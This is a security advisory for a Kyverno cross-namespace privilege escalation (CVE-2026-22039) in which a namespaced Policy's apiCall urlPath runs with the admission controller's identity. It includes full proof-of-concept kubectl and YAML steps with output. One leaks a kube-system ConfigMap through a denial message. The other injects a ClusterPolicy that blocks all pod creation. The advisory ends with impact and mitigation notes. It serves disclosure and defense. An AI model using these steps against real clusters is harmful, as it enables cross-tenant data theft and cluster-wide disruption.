CVE-2026-22039: Kyverno Cross-Namespace Privilege Escalation via Policy apiCall

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)

2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

bash kind create cluster helm repo add kyverno https://kyverno.github.io/kyverno/ helm repo update helm install kyverno kyverno/kyverno -n kyverno --create-namespace

1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace. bash Create confidential data in kube-system kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

Create a restricted service account kubectl create sa policy-admin -n default

Create a role for managing policies and configmaps in default namespace only kubectl create role policy-admin-role -n default \ --verb=create,get,list,update,delete \ --resource=policies.kyverno.io,configmaps

Bind the role to the service account kubectl create rolebinding policy-admin-binding -n default \ --role=policy-admin-role \ --serviceaccount=default:policy-admin

Verify the user cannot access kube-system kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin Output: no

2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-ns-leak namespace: default spec: validationFailureAction: Enforce rules: - name: leak-config match: resources: kinds: - ConfigMap context: - name: leakedData apiCall: # Injection happens here via annotations urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.targetns}}/configmaps/{{request.object.metadata.annotations.targetname}}" jmesPath: "data.key" validate: # The leaked data is returned in the denial message message: "LEAKED DATA: {{leakedData}}" deny: {} EOF

3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-leak namespace: default annotations: targetns: "kube-system" targetname: "target-cm" data: {} EOF

4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-leak was blocked due to the following policies

cross-ns-leak: leak-config: 'LEAKED DATA: confidential-data'

PoC 002 - ClusterPolicy injection

Continue from the setup from the previous PoC.

This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.

1. Apply a malicious policy

yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: mutation-cpol namespace: default spec: validationFailureAction: Enforce rules: - name: create-malicious-cpol match: resources: kinds: - ConfigMap context: - name: mutation apiCall: urlPath: "/apis/kyverno.io/v1/clusterpolicies" method: POST data: - key: apiVersion value: "kyverno.io/v1" - key: kind value: "ClusterPolicy" - key: metadata value: name: "malicious-cpol" - key: spec value: validationFailureAction: Enforce rules: - name: block-all match: resources: kinds: - Pod validate: message: "Blocked by malicious policy" deny: {} validate: message: "Created ClusterPolicy: {{mutation.metadata.name}}" deny: {} EOF

2. Trigger the policy

bash cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-cpol namespace: default data: {} EOF

This outputs an error:

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-cpol was blocked due to the following policies

mutation-cpol: create-malicious-cpol: ""

3. Observe the new cluster policy

bash kubectl get clusterpolicy malicious-cpol

Outputs:

NAME ADMISSION BACKGROUND READY AGE MESSAGE malicious-cpol true true True 4m58s Ready

4. Verify that no new pods can be created (even as a cluster admin)

Run:

kubectl run --image=nginx foo

Outputs:

Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/default/foo was blocked due to the following policies

malicious-cpol: block-all: Blocked by malicious policy Impact

- Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller). - Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions. - Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2. - Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC. - In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.

The following command should be run on a per-environment basis to understand impact:

kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list

By default, this does not include Secrets.

Mitigation

The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.

The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.

This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.